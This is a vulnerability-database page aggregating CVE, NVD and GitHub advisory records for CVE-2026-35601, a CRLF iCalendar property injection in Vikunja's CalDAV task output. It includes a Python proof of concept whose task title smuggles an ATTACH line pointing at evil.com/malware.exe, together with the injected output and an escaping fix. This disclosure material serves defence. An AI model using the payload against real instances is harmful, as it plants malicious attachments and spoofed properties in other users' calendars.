Vulnerability-Lookup

CVE-2026-35601 (GCVE-0-2026-35601)

Vulnerability from cvelistv5 – Published: 2026-04-10 16:08 – Updated: 2026-04-13 15:37

Title

Vikunja has an iCalendar Property Injection via CRLF in CalDAV Task Output

Summary

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titles containing CRLF characters break the iCalendar property boundary, allowing injection of arbitrary iCalendar properties such as ATTACH, VALARM, or ORGANIZER. This vulnerability is fixed in 2.3.0.

Severity

4.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-04-13 15:28 UTC

CWE

CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7616 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/go-vikunja/vikunja/security/ad…	x_refsource_CONFIRM
https://github.com/go-vikunja/vikunja/pull/2580	x_refsource_MISC
https://github.com/go-vikunja/vikunja/releases/ta…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
go-vikunja	vikunja	Affected: < 2.3.0	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-35601

Vulnerability from fkie_nvd - Published: 2026-04-10 17:17 - Updated: 2026-06-17 10:40

Severity

4.1 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/go-vikunja/vikunja/pull/2580	Issue Tracking
security-advisories@github.com	https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0	Release Notes
security-advisories@github.com	https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2g7h-7rqr-9p4r	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2g7h-7rqr-9p4r	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	vikunja	vikunja	*

JSON

To clipboard

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GHSA-2G7H-7RQR-9P4R

Vulnerability from github – Published: 2026-04-10 15:35 – Updated: 2026-06-08 20:08

Summary

Vikunja has iCalendar Property Injection via CRLF in CalDAV Task Output

Details

Summary

The CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titles containing CRLF characters break the iCalendar property boundary, allowing injection of arbitrary iCalendar properties such as ATTACH, VALARM, or ORGANIZER.

Details

The ParseTodos function at pkg/caldav/caldav.go:146 concatenates the task summary directly into the iCalendar output:

SUMMARY:` + t.Summary + getCaldavColor(t.Color)

RFC 5545 Section 3.3.11 requires TEXT property values to escape newlines as \n, semicolons as \;, commas as \,, and backslashes as \\. None of these escaping rules are applied to Summary, Categories, UID, project name, or alarm Description fields.

Go's JSON decoder preserves literal CR/LF bytes in string values, so task titles created via the REST API retain CRLF characters. When these tasks are served via CalDAV, the newlines break the SUMMARY property and the subsequent text is parsed by CalDAV clients as independent iCalendar properties.

Proof of Concept

Tested on Vikunja v2.2.2.

import requests
from requests.auth import HTTPBasicAuth

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

token = requests.post(f"{API}/login",
    json={"username": "alice", "password": "Alice1234!"}).json()["token"]
h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

proj = requests.put(f"{API}/projects", headers=h, json={"title": "CalDAV Test"}).json()

# create task with CRLF injection in title
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={
    "title": "Meeting\r\nATTACH:https://evil.com/malware.exe\r\nX-INJECTED:pwned"
}).json()

# set UID (normally done by CalDAV sync; here via sqlite for PoC)
# sqlite3 vikunja.db "UPDATE tasks SET uid='inject-test-001' WHERE id={task['id']};"
TASK_UID = "inject-test-001"

# fetch via CalDAV
caldav_token = requests.put(f"{API}/user/settings/token/caldav", headers=h).json()["token"]
r = requests.get(f"{TARGET}/dav/projects/{proj['id']}/{TASK_UID}.ics",
                 auth=HTTPBasicAuth("alice", caldav_token))
print(r.text)

Output:

BEGIN:VCALENDAR
VERSION:2.0
BEGIN:VTODO
UID:inject-test-001
DTSTAMP:20260327T130452Z
SUMMARY:Meeting
ATTACH:https://evil.com/malware.exe
X-INJECTED:pwned
CREATED:20260327T130452Z
LAST-MODIFIED:20260327T130452Z
END:VTODO
END:VCALENDAR

The ATTACH and X-INJECTED lines appear as separate, valid iCalendar properties. CalDAV clients will parse these as legitimate properties.

Impact

An authenticated user with write access to a shared project can create tasks with CRLF-injected titles via the REST API. When other users sync via CalDAV, the injected properties take effect in their calendar clients. This enables: - Injecting malicious attachment URLs (ATTACH) that clients may auto-download or display - Creating fake alarm notifications (VALARM) for social engineering - Spoofing organizer identity (ORGANIZER)

Recommended Fix

Apply RFC 5545 TEXT value escaping to all user-controlled fields:

func escapeICal(s string) string {
    s = strings.ReplaceAll(s, "\\", "\\\\")
    s = strings.ReplaceAll(s, ";", "\\;")
    s = strings.ReplaceAll(s, ",", "\\,")
    s = strings.ReplaceAll(s, "\n", "\\n")
    s = strings.ReplaceAll(s, "\r", "")
    return s
}

Apply escapeICal() to t.Summary, config.Name, t.Categories items, a.Description, t.UID, and r.UID.

Found and reported by aisafe.io

Severity

4.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.2.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35601"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T15:35:05Z",
    "nvd_published_at": "2026-04-10T17:17:03Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titles containing CRLF characters break the iCalendar property boundary, allowing injection of arbitrary iCalendar properties such as `ATTACH`, `VALARM`, or `ORGANIZER`.\n\n## Details\n\nThe `ParseTodos` function at `pkg/caldav/caldav.go:146` concatenates the task summary directly into the iCalendar output:\n\n```go\nSUMMARY:` + t.Summary + getCaldavColor(t.Color)\n```\n\nRFC 5545 Section 3.3.11 requires TEXT property values to escape newlines as `\\n`, semicolons as `\\;`, commas as `\\,`, and backslashes as `\\\\`. None of these escaping rules are applied to `Summary`, `Categories`, `UID`, project name, or alarm `Description` fields.\n\nGo\u0027s JSON decoder preserves literal CR/LF bytes in string values, so task titles created via the REST API retain CRLF characters. When these tasks are served via CalDAV, the newlines break the `SUMMARY` property and the subsequent text is parsed by CalDAV clients as independent iCalendar properties.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2.\n\n```python\nimport requests\nfrom requests.auth import HTTPBasicAuth\n\nTARGET = \"http://localhost:3456\"\nAPI = f\"{TARGET}/api/v1\"\n\ntoken = requests.post(f\"{API}/login\",\n    json={\"username\": \"alice\", \"password\": \"Alice1234!\"}).json()[\"token\"]\nh = {\"Authorization\": f\"Bearer {token}\", \"Content-Type\": \"application/json\"}\n\nproj = requests.put(f\"{API}/projects\", headers=h, json={\"title\": \"CalDAV Test\"}).json()\n\n# create task with CRLF injection in title\ntask = requests.put(f\"{API}/projects/{proj[\u0027id\u0027]}/tasks\", headers=h, json={\n    \"title\": \"Meeting\\r\\nATTACH:https://evil.com/malware.exe\\r\\nX-INJECTED:pwned\"\n}).json()\n\n# set UID (normally done by CalDAV sync; here via sqlite for PoC)\n# sqlite3 vikunja.db \"UPDATE tasks SET uid=\u0027inject-test-001\u0027 WHERE id={task[\u0027id\u0027]};\"\nTASK_UID = \"inject-test-001\"\n\n# fetch via CalDAV\ncaldav_token = requests.put(f\"{API}/user/settings/token/caldav\", headers=h).json()[\"token\"]\nr = requests.get(f\"{TARGET}/dav/projects/{proj[\u0027id\u0027]}/{TASK_UID}.ics\",\n                 auth=HTTPBasicAuth(\"alice\", caldav_token))\nprint(r.text)\n```\n\nOutput:\n```\nBEGIN:VCALENDAR\nVERSION:2.0\nBEGIN:VTODO\nUID:inject-test-001\nDTSTAMP:20260327T130452Z\nSUMMARY:Meeting\nATTACH:https://evil.com/malware.exe\nX-INJECTED:pwned\nCREATED:20260327T130452Z\nLAST-MODIFIED:20260327T130452Z\nEND:VTODO\nEND:VCALENDAR\n```\n\nThe `ATTACH` and `X-INJECTED` lines appear as separate, valid iCalendar properties. CalDAV clients will parse these as legitimate properties.\n\n## Impact\n\nAn authenticated user with write access to a shared project can create tasks with CRLF-injected titles via the REST API. When other users sync via CalDAV, the injected properties take effect in their calendar clients. This enables:\n- Injecting malicious attachment URLs (`ATTACH`) that clients may auto-download or display\n- Creating fake alarm notifications (`VALARM`) for social engineering\n- Spoofing organizer identity (`ORGANIZER`)\n\n## Recommended Fix\n\nApply RFC 5545 TEXT value escaping to all user-controlled fields:\n\n```go\nfunc escapeICal(s string) string {\n    s = strings.ReplaceAll(s, \"\\\\\", \"\\\\\\\\\")\n    s = strings.ReplaceAll(s, \";\", \"\\\\;\")\n    s = strings.ReplaceAll(s, \",\", \"\\\\,\")\n    s = strings.ReplaceAll(s, \"\\n\", \"\\\\n\")\n    s = strings.ReplaceAll(s, \"\\r\", \"\")\n    return s\n}\n```\n\nApply `escapeICal()` to `t.Summary`, `config.Name`, `t.Categories` items, `a.Description`, `t.UID`, and `r.UID`.\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-2g7h-7rqr-9p4r",
  "modified": "2026-06-08T20:08:35Z",
  "published": "2026-04-10T15:35:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2g7h-7rqr-9p4r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35601"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/pull/2580"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikunja has iCalendar Property Injection via CRLF in CalDAV Task Output"
}

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Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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CVE-2026-35601 (GCVE-0-2026-35601)

FKIE_CVE-2026-35601

GHSA-2G7H-7RQR-9P4R

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